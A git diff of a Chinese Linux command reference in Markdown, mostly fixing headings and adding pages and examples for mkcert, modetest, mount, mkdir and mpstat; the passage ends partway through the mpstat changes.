用于设置当前终端的写权限,即是否让其他用户向本终端发信息。将mesg设置y时,其他用户可利用write命令将信息直接显示在您的屏幕上。 -### 语法 +### 语法 ```shell mesg(参数) ``` -### 参数 +### 参数 y/n:y表示运行向当前终端写信息,n表示禁止向当前终端写信息。 -### 实例 +### 实例 ```shell [root@localhost ~]# mesg y #允许系统用户将信息直接显示在你的屏幕上。 @@ -25,4 +25,3 @@ y/n:y表示运行向当前终端写信息,n表示禁止向当前终端写信 ``` - \ No newline at end of file diff --git a/command/mii-tool.md b/command/mii-tool.md index 312c8de59be..6b39d07ac2e 100644 --- a/command/mii-tool.md +++ b/command/mii-tool.md @@ -7,13 +7,13 @@ mii-tool **mii-tool命令** 是用于查看、管理介质的网络接口的状态,有时网卡需要配置协商方式,比如10/100/1000M的网卡半双工、全双工、自动协商的配置。但大多数的网络设备是不用我们来修改协商,因为大多数网络设置接入的时候,都采用自动协商来解决相互通信的问题。不过自动协商也不是万能的,有时也会出现错误,比如丢包率比较高,这时就要我们来指定网卡的协商方式。mii-tool就是能指定网卡的协商方式。下面我们说一说mii-tool的用法。 -### 语法 +### 语法 ```shell usage: mii-tool [-VvRrwl] [-A media,... | -F media] [interface ...] ``` -### 选项 +### 选项 ```shell -V 显示版本信息; @@ -29,7 +29,7 @@ media: 100baseT4, 100baseTx-FD, 100baseTx-HD, 10baseT-FD, 10baseT-HD,         (to advertise both HD and FD) 100baseTx, 10baseT ``` -### 实例 +### 实例 查看网络接口的协商状态: @@ -70,4 +70,3 @@ eth0: 100 Mbit, full duplex, link ok ``` - \ No newline at end of file diff --git a/command/mkbootdisk.md b/command/mkbootdisk.md index 3d4676067cd..5ed439e1c4b 100644 --- a/command/mkbootdisk.md +++ b/command/mkbootdisk.md @@ -7,13 +7,13 @@ mkbootdisk **mkbootdisk命令** 用来为当前运行的系统创建能够单独使用的系统引导软盘,以便在系统出现故障时能够启动操作进行适当的修复工作。 -### 语法 +### 语法 ```shell mkbootdisk(选项)(参数) ``` -### 选项 +### 选项 ```shell --device<设备>:指定设备; @@ -23,11 +23,11 @@ mkbootdisk(选项)(参数) --version:显示版本信息。 ``` -### 参数 +### 参数 内核:指定内核版本。 -### 实例 +### 实例 ```shell mkbootdisk --device /dev/fd0 `uname -r` @@ -40,4 +40,3 @@ mkbootdisk --device /dev/fd0 2.2.18 ``` - \ No newline at end of file diff --git a/command/mkcert.md b/command/mkcert.md new file mode 100644 index 00000000000..21901b22c1a --- /dev/null +++ b/command/mkcert.md @@ -0,0 +1,198 @@ +mkcert +=== + +用来生成自签证书的工具 + +## 示例 + +`mkcert` 是 GO 编写的,一个简单的**零配置**的用来生成自签证书的工具。 + +下面给一个简单的示例,在本地生成自签证书,并使用让 nc 使用生成的证书。 + +```zsh +~ ·········································································································································  10:46:25 +❯ mkcert -install +The local CA is already installed in the system trust store! 👍The local CA is already installed in the Firefox and/or Chrome/Chromium trust store! 👍 +~ ·········································································································································  10:46:34 +❯ mkcert example.com "*.example.com" example.test localhost 127.0.0.1 ::1 + +Created a new certificate valid for the following names 📜 - "example.com" + - "*.example.com" + - "example.test" + - "localhost" + - "127.0.0.1" + - "::1" + +Reminder: X.509 wildcards only go one level deep, so this won't match a.b.example.com ℹ️ + +The certificate is at "./example.com+5.pem" and the key at "./example.com+5-key.pem" ✅ +It will expire on 30 January 2025 🗓 + +~ ·········································································································································  10:47:37 +❯ ls +公共 视频 文档 音乐 aria aria2-downloads Dockerfile example.com+5.pem GOPATH minio-binaries nowip_hosts.txt tech_backend.jar +模板 图片 下载 桌面 aria2-config cv_debug.log example.com+5-key.pem go math navicat_reset src +~ ·········································································································································  10:47:55 +❯ ncat -lvp 1589 --ssl-key example.com+5-key.pem --ssl-cert example.com+5.pem +Ncat: Version 7.92 ( https://nmap.org/ncat ) +Ncat: Listening on :::1589 +Ncat: Listening on 0.0.0.0:1589 +Ncat: Connection from 127.0.0.1. +Ncat: Connection from 127.0.0.1:39156. +Ncat: Failed SSL connection from 127.0.0.1: error:00000000:lib(0):func(0):reason(0) +``` + +`mkcert` 自动生成并安装一个本地 CA 到 root stores,并且生成 locally-trusted 证书。`mkcert` 不会自动使用证书来配置服务器,不过,这取决于你。 + +## 安装 + +> Warning: `mkcert` 自动生成的 `rootCA-key.pem` 文件提供了完整的能力来拦截你机器上的安全请求。请不要分享它。 + +### macOS + +```bash +$ brew install mkcert +$ brew install nss # 如果用 Firefox 的话 +``` + +### Linux + +在 Linux 上,首先要安装 `certutil` + +```bash +$ sudo apt install libnss3-tools +# -or- +$ sudo yum install nss-tools +# -or- +$ sudo pacman -S nss +# -or- +$ sudo zypper install mozilla-nss-tools +``` + +然后可以使用 [Homebrew on Linux](https://docs.brew.sh/Homebrew-on-Linux) 来安装。 + +```bash +$ brew install mkcert +``` + +或者从源码构建(要求 Go 1.13+) + +```bash +git clone https://github.com/FiloSottile/mkcert && cd mkcert +go build -ldflags "-X main.Version=$(git describe --tags)" +``` + +又或者使用 [预构建的二进制文件](https://github.com/FiloSottile/mkcert/releases)。 + +```bash +$ curl -JLO "https://dl.filippo.io/mkcert/latest?for=linux/amd64" +$ chmod +x mkcert-v*-linux-amd64 +$ sudo cp mkcert-v*-linux-amd64 /usr/local/bin/mkcert +``` + +对于 Arch Linux 用户(比如我),[`mkcert`](https://www.archlinux.org/packages/community/x86_64/mkcert/) 在 Arch Linux 官方仓库中可用。 + +```bash +$ sudo pacman -S mkcert +``` + +### Windows + +使用 [Chocolatey](https://chocolatey.org/) + +```bash +$ choco install mkcert +``` + +或者使用 Scoop + +```bash +$ scoop bucket add extras +$ scoop install mkcert +``` + +或者从源码构建(要求 Go 1.10+) ,或者使用 [预构建的二进制文件](https://github.com/FiloSottile/mkcert/releases)。 + +如果遇到权限问题,请使用管理员运行 `mkcert` + +## 支持的 root stores + +`mkcert` 支持以下 root stores: + +- macOS system store +- Windows system store +- Linux 发行版提供 + - `update-ca-trust` (Fedora,RHEL,CentOS)或者 + - `update-ca-certificates` (Ubuntu,Debian,OpenSUSE,SLES)或者 + - `trust` (Arch) +- Firefox (仅 macOS 和 Linux) +- Chrome 和 Chromium +- Java(当 `JAVA_HOME` 被设置时) + +为了把 local root CA 装到这些 root stores 中,你可以设置 `TRUST_STORES` 环境变量到一个逗号分隔的 list。有这些选项:"system","java" 和 "nss"(包括了 Firefox)。 + +## 高级 topics + +### 高级选项 + +```bash +-cert-file FILE, -key-file FILE, -p12-file FILE + # 自定义输出路径. +-client # 生成供客户端认证使用的证书. +-ecdsa # 生成使用一个 ECDSA (一种椭圆曲线签名算法)key 来生成证书. +-pkcs12 # 生成一个 ".p12" PKCS #12 文件,也可以被识别为 ".pfx" 文件, + # 包含 cert 和 key for legacy applications. +-csr CSR # 生成一个给予 CSR(证书签名申请) 的证书。 + # 与除了 -install 和 -cert-file 以外的其它所以 flag 和参数冲突! +``` + +[SSL 证书 什么是CSR?-常见问题-文档中心-腾讯云](https://cloud.tencent.com/document/product/400/5367) + +> **请注意!** 你必须把这些选项放在域名列表之前。 + +### 例如 + +```bash +mkcert -key-file key.pem -cert-file cert.pem example.com *.example.com +``` + +### S/MIME (邮件安全证书) + +用下面这种方式 `mkcert` 会生成一个 S/MIME 证书: + +```bash +mkcert filippo@example.com +``` + +### 移动设备 + +对于要让移动设备信任证书的情况,你得安装 root CA。就是 `rootCA.pem` 这个文件,可以通过 `mkcert -CAROOT` 打印出这个文件所在的目录。 + +在 iOS 上,你也可以使用 AirDrop,把 CA 邮件发给你自己,或者通过一个 HTTP server 提供它。在打开它之后,你需要  [install the profile in Settings > Profile Downloaded](https://github.com/FiloSottile/mkcert/issues/233#issuecomment-690110809) and then [enable full trust in it](https://support.apple.com/en-nz/HT204477) 。 + +对于 Android ,你得安装这个 CA 然后在应用程序的开发版本中启用 user roots。可以看一看这个 [StackOverflow 回答](https://stackoverflow.com/a/22040887/749014) 。 + +### 用 Node.js 来使用这个 root + +Node 不使用 system root store,所以它不会自动接受 `mkcert` 证书。相反,你得设置 [`NODE_EXTRA_CA_CERTS`](https://nodejs.org/api/cli.html#cli_node_extra_ca_certs_file) 环境变量。 + +```bash +export NODE_EXTRA_CA_CERTS="$(mkcert -CAROOT)/rootCA.pem" +``` + +### 改变 CA 文件的位置 + +CA 证书和它的 key 被存储在用户家目录的一个文件夹中。一般来说你不会想去关注它的位置,因为它会被自动装载。但是你可以通过 `mkcert -CAROOT` 来打印这个目录位置。 + +如果你想要管理单独的 CA 们,你可以使用 `\$CAROOT` 环境变量来设置 mkcert 放置和寻找 CA files 的路径。 + +### 在其它系统上安装 CA + +安装 trust store 不需要 CA key(只要 CA),所以你可以导出 CA,并且使用 `mkcert` 来安装到其它机器上。 + +- 找到 `rootCA.pem` 文件,可以用 `mkcert -CAROOT` 找到对应目录。 +- 把它 copy 到别的机器上。 +- 设置 `\$CAROOT` 为 `rootCA.pem` 所在目录。 +- 运行 `mkcert -install`(arch linux 可以 `sudo trust anchor --store rootCA.pem`,其它发行版可以用自带的命令手动添加来信任 CA) + +请千万记住 `mkcert` 是用于开发目的的,不建议用于生产,所以它不应该被用到用户终端上,并且你不应该导出或者共享 `rootCA-key.pem` 。 diff --git a/command/mkdir.md b/command/mkdir.md index 40e76863f3b..7b6cd36db5a 100644 --- a/command/mkdir.md +++ b/command/mkdir.md @@ -11,13 +11,13 @@ mkdir 在一个子目录中应包含类型相似或用途相近的文件。例如,应建立一个子目录,它包含所有的数据库文件,另有一个子目录应包含电子表格文件,还有一个子目录应包含文字处理文档,等等。目录也是文件,它们和普通文件一样遵循相同的命名规则,并且利用全路径可以唯一地指定一个目录。 -### 语法 +### 语法 ```shell mkdir (选项)(参数) ``` -### 选项 +### 选项 ```shell -Z:设置安全上下文,当使用SELinux时有效; @@ -26,11 +26,11 @@ mkdir (选项)(参数) --version 显示版本信息。 ``` -### 参数 +### 参数 目录:指定要创建的目录列表,多个目录之间用空格隔开。 -### 实例 +### 实例 在目录`/usr/meng`下建立子目录test,并且只有文件主有读、写和执行权限,其他人无权访问 @@ -44,5 +44,27 @@ mkdir -m 700 /usr/meng/test mkdir -p-m 750 bin/os_1 ``` +### 补充 - \ No newline at end of file +-m :配置文件的权限 + + 如:755 + + 每个数字代表不同的权限集合,分别为: + + - 第一个数字`7`:所有者(user)的权限 + - 第二个数字`5`:所属组(group)的权限 + - 第三个数字`5`:其他用户(others)的权限 + + 每个数字是以下权限的组合: + - 读权限 (read) - 4 + - 写权限 (write) - 2 + - 执行权限 (execute) - 1 + + 因此,`755`的具体权限为: + + - `7`(所有者)= 4 (读) + 2 (写) + 1 (执行) = 7 + - `5`(所属组)= 4 (读) + 1 (执行) = 5 + - `5`(其他用户)= 4 (读) + 1 (执行) = 5 + + diff --git a/command/mke2fs.md b/command/mke2fs.md index 7ba4f948c21..e626631af25 100644 --- a/command/mke2fs.md +++ b/command/mke2fs.md @@ -7,13 +7,13 @@ mke2fs **mke2fs命令** 被用于创建磁盘分区上的“etc2/etc3”文件系统。 -### 语法 +### 语法 ```shell mke2fs(选项)(参数) ``` -### 选项 +### 选项 ```shell -b<区块大小>:指定区块大小,单位为字节; @@ -34,12 +34,12 @@ mke2fs(选项)(参数) -V:显示版本信息。 ``` -### 参数 +### 参数 * 设备文件:指定要创建的文件系统的分区设备文件名; * 块数:指定要创建的文件系统的磁盘块数量。 -### 实例 +### 实例 创建指定的ext2文件系统。 @@ -48,4 +48,3 @@ mke2fs -q /dev/hda1 ``` - \ No newline at end of file diff --git a/command/mkfs.md b/command/mkfs.md index 37ad75f4d56..43c7710ccf5 100644 --- a/command/mkfs.md +++ b/command/mkfs.md @@ -7,13 +7,13 @@ mkfs **mkfs命令** 用于在设备上(通常为硬盘)创建Linux文件系统。mkfs本身并不执行建立文件系统的工作,而是去调用相关的程序来执行。 -### 语法 +### 语法 ```shell mkfs(选项)(参数) ``` -### 选项 +### 选项 ```shell fs:指定建立文件系统时的参数; @@ -23,12 +23,12 @@ fs:指定建立文件系统时的参数; -c:在制做档案系统前,检查该partition是否有坏轨。 ``` -### 参数 +### 参数 * 文件系统:指定要创建的文件系统对应的设备文件名; * 块数:指定文件系统的磁盘块数。 -### 实例 +### 实例 在`/dev/hda5`上建一个msdos的档案系统,同时检查是否有坏轨存在,并且将过程详细列出来: @@ -40,4 +40,3 @@ mkfs -t ext2 /dev/sda7 //将sda7分区格式化为ext2格式 ``` - \ No newline at end of file diff --git a/command/mkinitrd.md b/command/mkinitrd.md index 9d40a9ec765..c225aa105b6 100644 --- a/command/mkinitrd.md +++ b/command/mkinitrd.md @@ -9,13 +9,13 @@ mkinitrd 这个是重新封包核心的命令,例如你自己修改了一个设备的驱动,如果这个驱动要加入核心级别的话,就需要对核心进行重新封包,把新加的配置编译到核心内部去! -### 语法 +### 语法 ```shell mkinitrd(选项)(参数) ``` -### 选项 +### 选项 ```shell -f:若指定的映像问家名称与现有文件重复,则覆盖现有的文件; @@ -26,12 +26,12 @@ mkinitrd(选项)(参数) --version:显示版本信息。 ``` -### 参数 +### 参数 * 映像文件:指定要创建的映像文件; * 内核版本:指定内核版本。 -### 实例 +### 实例 ```shell [root@localhost tmp]# mkinitrd -v -f myinitrd.img $(uname -r) @@ -60,4 +60,3 @@ myinitrd.img: ASCII cpio archive (SVR4 with no CRC) ``` - \ No newline at end of file diff --git a/command/mkisofs.md b/command/mkisofs.md index ad56bc8cfc9..e9751ea461c 100644 --- a/command/mkisofs.md +++ b/command/mkisofs.md @@ -7,13 +7,13 @@ mkisofs **mkisofs命令** 用来将指定的目录与文件做成ISO 9660格式的映像文件,以供刻录光盘。 -### 语法 +### 语法 ```shell mkisofs(选项)(参数) ``` -### 选项 +### 选项 ```shell -a或--all:mkisofs通常不处理备份文件。使用此参数可以把备份文件加到映像文件中; @@ -53,11 +53,11 @@ mkisofs(选项)(参数) -z:建立通透性压缩文件的SUSP记录,此记录目前只在Alpha机器上的Linux有效。 ``` -### 参数 +### 参数 路径:需要添加到映像文件中的路径。 -### 实例 +### 实例 linux中用mkisofs命令把文件制作成ISO步骤: @@ -98,4 +98,3 @@ mkisofs -R -J -T -v -no-emul-boot -boot-load-size 4 -boot-info-table -V RHEL4ASD ``` - \ No newline at end of file diff --git a/command/mknod.md b/command/mknod.md index 694c197cad4..d057d241bbc 100644 --- a/command/mknod.md +++ b/command/mknod.md @@ -7,13 +7,13 @@ mknod **mknod命令** 用于创建Linux中的字符设备文件和块设备文件。 -### 语法 +### 语法 ```shell mknod(选项)(参数) ``` -### 选项 +### 选项 ```shell -Z:设置安全的上下文; @@ -22,14 +22,14 @@ mknod(选项)(参数) --version:显示版本信息。 ``` -### 参数 +### 参数 * 文件名:要创建的设备文件名; * 类型:指定要创建的设备文件的类型; * 主设备号:指定设备文件的主设备号; * 次设备号:指定设备文件的次设备号。 -### 实例 +### 实例 ```shell ls -la /dev/ttyUSB* @@ -37,7 +37,7 @@ crw-rw—- 1 root dialout 188, 0 2008-02-13 18:32 /dev/ttyUSB0 mknod /dev/ttyUSB32 c 188 32 ``` -### 扩展知识 +### 扩展知识 Linux的设备管理是和文件系统紧密结合的,各种设备都以文件的形式存放在/dev目录 下,称为设备文件。应用程序可以打开、关闭和读写这些设备文件,完成对设备的操作,就像操作普通的数据文件一样。 @@ -48,4 +48,3 @@ Linux为所有的设备文件都提供了统一的操作函数接口,方法是 打开一个文件就是调用这个文件file_operations中的open操作。不同类型的文件有不同的file_operations成员函数,如普通的磁盘数据文件, 接口函数完成磁盘数据块读写操作;而对于各种设备文件,则最终调用各自驱动程序中的I/O函数进行具体设备的操作。这样,应用程序根本不必考虑操作的是设 备还是普通文件,可一律当作文件处理,具有非常清晰统一的I/O接口。所以file_operations是文件层次的I/O接口。 - \ No newline at end of file diff --git a/command/mkswap.md b/command/mkswap.md index 37852f68b9c..4f3f5d02cb5 100644 --- a/command/mkswap.md +++ b/command/mkswap.md @@ -7,13 +7,13 @@ mkswap **mkswap命令** 用于在一个文件或者设备上建立交换分区。在建立完之后要使用sawpon命令开始使用这个交换区。最后一个选择性参数指定了交换区的大小,但是这个参数是为了向后兼容设置的,没有使用的必要,一般都将整个文件或者设备作为交换区。 -### 语法 +### 语法 ```shell mkswap(选项)(参数) ``` -### 选项 +### 选项 ```shell -c:建立交换区前,先检查是否有损坏的区块; @@ -22,11 +22,11 @@ mkswap(选项)(参数) -v1:建立新式交换区。 ``` -### 参数 +### 参数 设备:指定交换空间对应的设备文件或者交换文件。 -### 实例 +### 实例 **查看系统swap space大小:** @@ -111,4 +111,3 @@ swapoff /dev/sdb2 从`/etc/fstab`中删除项目,使用fdisk或yast工具删除分区。 - \ No newline at end of file diff --git a/command/mktemp.md b/command/mktemp.md index b04f0a95831..4fdf0d4c427 100644 --- a/command/mktemp.md +++ b/command/mktemp.md @@ -7,13 +7,13 @@ mktemp **mktemp命令** 被用来创建临时文件供shell脚本使用。 -### 语法 +### 语法 ```shell mktemp(选项)(参数) ``` -### 选项 +### 选项 ```shell -q:执行时若发生错误,不会显示任何信息; @@ -21,9 +21,8 @@ mktemp(选项)(参数) -d:创建一个目录而非文件。 ``` -### 参数 +### 参数 文件:指定创建的临时文件。 - \ No newline at end of file diff --git a/command/modetest.md b/command/modetest.md new file mode 100644 index 00000000000..2c14428a00c --- /dev/null +++ b/command/modetest.md @@ -0,0 +1,144 @@ +modetest +=== + +DRM/KMS驱动程序libdrm中的模式测试工具 + +## 补充说明 + +`modetest` 是一个用于测试和验证 DRM(Direct Rendering Manager)驱动程序功能的命令行工具。 + +### 安装 + +- **源码**:[Mesa / drm · GitLab](https://gitlab.freedesktop.org/mesa/drm) +- **下载**:[Index of /libdrm (dri.freedesktop.org)](https://dri.freedesktop.org/libdrm/) + +__编译__ + +```shell +./configure --prefix=/opt/ --host=aarch64-linux-gnu +make && make install +## 编译删除 +make distclean +``` + +__参考__:[libdrm调试准备 - 简书](https://www.jianshu.com/p/a9152ca3e7ab) + +### 语法 + +```shell +modetest [选项] +``` + +### 选项 + +```shell +# 查询选项 +-c 列出连接器 +-e 列出编码器 +-f 列出帧缓冲 +-p 列出 CRTCs 和平面 + +# 测试选项 +-P @:x[++][*][@] 设置一个平面 +-s [,][@]:[-][@] 设置一个显示模式 +-C 测试硬件光标 +-v 测试垂直同步页面翻转 +-w :: 设置属性 + +# 通用选项 +-a 启用原子模式设置 +-d 在模式设置后放弃主控权限 +-M 指定要使用的驱动程序模块 +-D 指定要使用的设 +``` + +### 参数 + +`` 驱动模块 + +- i915:Intel 集成显卡驱动模块 +- amdgpu:AMD Radeon 显卡驱动模块 +- radeon:旧版 AMD Radeon 显卡驱动模块 +- nouveau:NVIDIA 开源显卡驱动模块 +- vmwgfx:VMware 显卡驱动模块 +- omapdrm:TI OMAP 显卡驱动模块 +- exynos:三星 Exynos 显卡驱动模块 +- tilcdc:TI LCD 控制器显卡驱动模块 +- msm:Qualcomm MSM 显卡驱动模块 +- sti:STMicroelectronics 显卡驱动模块 +- tegra:NVIDIA Tegra 显卡驱动模块 +- imx-drm:Freescale i.MX 显卡驱动模块 +- rockchip:Rockchip 显卡驱动模块 + +### 实例 + +使用 `modetest` 查看相关信息 + +```shell +~# modetest +Encoders: # 省略了好多好多 +id crtc type possible crtcs possible clones +194 0 Virtual 0x0000000f 0x00000001 +196 88 TMDS 0x00000002 0x00000002 +210 0 DSI 0x00000004 0x00000004 +213 0 TMDS 0x00000001 0x00000008 + +Connectors: # 省略了好多好多 +id encoder status name size (mm) modes encoders +197 196 connected HDMI-A-1 530x300 10 196 + mode # 巴拉巴拉非常多的一大串 +211 210 connected DSI-1 184x114 1 210 +214 0 disconnected DP-1 0x0 0 213 + +CRTCs: # 省略了好多好多**** +id fb pos size +68 0 (0,0) (0x0) + 0 0 0 0 0 0 0 0 0 0 flags: ; type: +88 0 (0,0) (0x0) + 0 0 0 0 0 0 0 0 0 0 flags: ; type: +108 219 (0,0) (1200x1920) + 1200x1920 60 1200 1280 1284 1344 1920 1955 1956 1981 159400 flags: ; type: +128 0 (0,0) (0x0) + 0 0 0 0 0 0 0 0 0 0 flags: ; type: + +Planes: # 省略了好多好多 +id crtc fb CRTC x,y x,y gamma size possible crtcs +54 0 0 0,0 0,0 0 0x0000000f + formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY +74 0 0 0,0 0,0 0 0x0000000f + formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY +94 108 219 0,0 0,0 0 0x0000000f + formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY + +``` + +------ + +根据以上信息在 `MIPI-DSI` 显示设备上使用 `Rockchip` 显卡驱动测试 + +```shell +~# modetest -M rockchip -s 211@108:1200x1920 -v +freq: 59.90Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +freq: 59.87Hz +``` + +在 `MIPI` 屏幕上将会看到闪烁的彩色块。 + +------ + +```shell +~# modetest -M rockchip -s 211@108:1200x1920 -C +setting mode 1200x1920-60Hz@XR24 on connectors 211, crtc 108 +starting cursor +``` + +在 `MIPI` 屏幕上将会看到静止的彩色块。 + + diff --git a/command/bmodinfo.md b/command/modinfo.md similarity index 79% rename from command/bmodinfo.md rename to command/modinfo.md index abbf40f08a6..ae0ab2e1ea5 100644 --- a/command/bmodinfo.md +++ b/command/modinfo.md @@ -1,19 +1,19 @@ -bmodinfo +modinfo === 显示给定模块的详细信息 ## 补充说明 -**bmodinfo命令** 用于显示给定模块的详细信息。 +**modinfo命令** 用于显示给定模块的详细信息。 -### 语法 +### 语法 ```shell -bmodinfo(选项)(参数) +modinfo(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:显示模块作者; @@ -24,11 +24,11 @@ bmodinfo(选项)(参数) -0:用ASCII码的0字符分割字段值,而不使用新行。 ``` -### 参数 +### 参数 模块名:要显示详细信息的模块名称。 -### 实例 +### 实例 显示sg模块的信息: @@ -47,4 +47,3 @@ depends: scsi_mod ``` - \ No newline at end of file diff --git a/command/modprobe.md b/command/modprobe.md index f9901f74c51..677ef204a81 100644 --- a/command/modprobe.md +++ b/command/modprobe.md @@ -9,13 +9,13 @@ modprobe modprobe可载入指定的个别模块,或是载入一组相依的模块。modprobe会根据depmod所产生的相依关系,决定要载入哪些模块。若在载入过程中发生错误,在modprobe会卸载整组的模块。 -### 语法 +### 语法 ```shell modprobe(选项)(参数) ``` -### 选项 +### 选项 ```shell -a或--all:载入全部的模块; @@ -29,11 +29,11 @@ modprobe(选项)(参数) -help:显示帮助。 ``` -### 参数 +### 参数 模块名:要加载或移除的模块名称。 -### 实例 +### 实例 **查看modules的配置文件:** @@ -76,4 +76,4 @@ modprobe -r 模块名 这里,移除已加载的模块,和rmmod功能相同。 - + diff --git a/command/more.md b/command/more.md index 2ab429d589b..f2b61f8b2f6 100644 --- a/command/more.md +++ b/command/more.md @@ -9,20 +9,20 @@ more 该命令一次显示一屏文本,满屏后停下来,并且在屏幕的底部出现一个提示信息,给出至今己显示的该文件的百分比:--More--(XX%)可以用下列不同的方法对提示做出回答: -* 按Space键:显示文本的下一屏内容。 -* 按Enier键:只显示文本的下一行内容。 +* 按 `Space` 键:显示文本的下一屏内容。 +* 按 `Enter` 键:只显示文本的下一行内容。 * 按斜线符`|`:接着输入一个模式,可以在文本中寻找下一个相匹配的模式。 * 按H键:显示帮助屏,该屏上有相关的帮助信息。 * 按B键:显示上一屏内容。 -* 按Q键:退出rnore命令。 +* 按Q键:退出more命令。 -### 语法 +### 语法 ```shell more(语法)(参数) ``` -### 选项 +### 选项 ```shell -<数字>:指定每屏显示的行数; @@ -33,13 +33,13 @@ more(语法)(参数) +<数字>:从指定数字的行开始显示。 ``` -### 参数 +### 参数 文件:指定分页显示内容的文件。 -### 实例 +### 实例 -显示文件file的内容,但在显示之前先清屏,并且在屏幕的最下方显示完核的百分比。 +显示文件file的内容,但在显示之前先清屏,并且在屏幕的最下方显示完成的百分比。 ```shell more -dc file @@ -52,4 +52,4 @@ more -c -10 file ``` - \ No newline at end of file + diff --git a/command/mount.md b/command/mount.md index c5b8663bcd0..8e23f9a58a1 100644 --- a/command/mount.md +++ b/command/mount.md @@ -1,13 +1,15 @@ mount === -用于挂载Linux系统外的文件。 +用于挂载Linux系统外的文件 ## 补充说明 **mount命令** Linux mount命令是经常会使用到的命令,它用于挂载Linux系统外的文件。 -### 语法 +如果通过webdav协议挂载网络磁盘,需要运行指令`apt install davfs2`安装必要的组件 + +### 语法 ```shell mount [-hV] @@ -16,7 +18,7 @@ mount [-fnrsvw] [-o options [,...]] device | dir mount [-fnrsvw] [-t vfstype] [-o options] device dir ``` -### 选项 +### 选项 ```shell -V:显示程序版本 @@ -37,8 +39,7 @@ mount [-fnrsvw] [-t vfstype] [-o options] device dir -o auto、-o noauto:打开/关闭自动挂上模式。 -o defaults:使用预设的选项 rw, suid, dev, exec, auto, nouser, and async. -o dev、-o nodev-o exec、-o noexec允许执行档被执行。 --o suid、-o nosuid: -允许执行档在 root 权限下执行。 +-o suid、-o nosuid:允许执行档在 root 权限下执行。 -o user、-o nouser:使用者可以执行 mount/umount 的动作。 -o remount:将一个已经挂下的档案系统重新用不同的方式挂上。例如原先是唯读的系统,现在用可读写的模式重新挂上。 -o ro:用唯读模式挂上。 @@ -46,27 +47,38 @@ mount [-fnrsvw] [-t vfstype] [-o options] device dir -o loop=:使用 loop 模式用来将一个档案当成硬盘分割挂上系统。 ``` -### 实例 +### 实例1 将 `/dev/hda1` 挂在 `/mnt` 之下。 ```shell -#mount /dev/hda1 /mnt +mount /dev/hda1 /mnt ``` 将 `/dev/hda1` 用唯读模式挂在 `/mnt` 之下。 ```shell -#mount -o ro /dev/hda1 /mnt +mount -o ro /dev/hda1 /mnt ``` -将 `/tmp/image.iso` 这个光碟的 `image` 档使用 `loop` 模式挂在 `/mnt/cdrom` 之下。用这种方法可以将一般网络上可以找到的 `Linux` 光 碟 ISO 档在不烧录成光碟的情况下检视其内容。 +将 `/tmp/image.iso` 这个光碟的 `image` 档使用 `loop` 模式挂在 `/mnt/cdrom` 之下。用这种方法可以将一般网络上可以找到的 `Linux` 光碟 ISO 档在不烧录成光碟的情况下检视其内容。 ```shell -#mount -o loop /tmp/image.iso /mnt/cdrom +mount -o loop /tmp/image.iso /mnt/cdrom ``` +### 实例2 +通过 webdav 协议挂载网络硬盘 + +将`https://your.webdav.link.here`的网络存储以网络磁盘的形式挂载到系统路径`/path/to/mount` +```shell +mount -t davfs https://your.webdav.link.here /path/to/mount +``` +### 实例3 +挂载 Android 系统 system 分区到 `/dev/loopX`,在知道文件格式的情况下,可以用 -t 来指定文件格式,比如 ext4。 - +```shell +mount -t ext4 /dev/loopX /mnt/system +``` diff --git a/command/mpstat.md b/command/mpstat.md index a6f5ce9e8db..d4a89e0108a 100644 --- a/command/mpstat.md +++ b/command/mpstat.md @@ -5,91 +5,132 @@ mpstat ## 补充说明 -**mpstat命令** 指令主要用于多CPU环境下,它显示各个可用CPU的状态系你想。这些信息存放在`/proc/stat`文件中。在多CPUs系统里,其不但能查看所有CPU的平均状况信息,而且能够查看特定CPU的信息。 +**mpstat命令** 主要用于多CPU环境下,它显示各个可用CPU的状态信息。这些信息存放在`/proc/stat`文件中。在多CPUs系统里,其不但能查看所有CPU的平均状况信息,而且能够查看特定CPU的信息。 -### 语法 +### 语法 ```shell -mpstat(选项)(参数) +mpstat [选项] [<间隔时间> [<次数>]] ``` -### 选项 +### 选项 ```shell -P:指定CPU编号。 ``` -### 参数 +### 参数 -* 间隔时间:每次报告的间隔时间(秒); -* 次数:显示报告的次数。 +- 间隔时间:每次报告的间隔时间(秒); +- 次数:显示报告的次数。 -### 实例 +### 表头含义 +- %user:表示处理用户进程所使用CPU的百分比。 +- %nice:表示在用户级别处理经nice降级的程序所使用CPU的百分比。 +- %system:表示内核进程使用的CPU百分比。 +- %iowait:表示等待进行I/O所占用CPU时间百分比。 +- %irq:表示用于处理系统中断的CPU百分比。 +- %soft:表示用于处理软件中断的CPU百分比。 +- %steal:在管理程序为另一个虚拟处理器服务时,显示虚拟的一个或多个CPU在非自愿等待中花费的时间的百分比。 +- %guest:表示一个或多个CPU在运行虚拟处理器时所花费的时间百分比。 +- %gnice:表示一个或多个CPU在运行经nice降级后的虚拟处理器时所花费的时间百分比。 +- %idle:CPU的空闲时间百分比。 + +### 实例 当mpstat不带参数时,输出为从系统启动以来的平均值。 ```shell mpstat -Linux 2.6.9-5.31AXsmp (builder.redflag-linux.com) 12/16/2005 -09:38:46 AM CPU %user %nice %system %iowait %irq %soft %idle intr/s -09:38:48 AM all 23.28 0.00 1.75 0.50 0.00 0.00 74.47 1018.59 +Linux 3.10.0-1160.71.1.el7.x86_64 (centos) 08/14/2022 _x86_64_ (4 CPU) + +04:28:36 PM CPU %usr %nice %sys %iowait %irq %soft %steal %guest %gnice %idle +04:28:36 PM all 0.03 0.00 0.07 0.00 0.00 0.01 0.00 0.00 0.00 99.89 ``` - **每2秒产生了2个处理器的统计数据报告:** + **每2秒产生了全部处理器的统计数据报告:** -下面的命令可以每2秒产生了2个处理器的统计数据报告,一共产生三个interval 的信息,然后再给出这三个interval的平均信息。默认时,输出是按照CPU 号排序。第一个行给出了从系统引导以来的所有活跃数据。接下来每行对应一个处理器的活跃状态。。 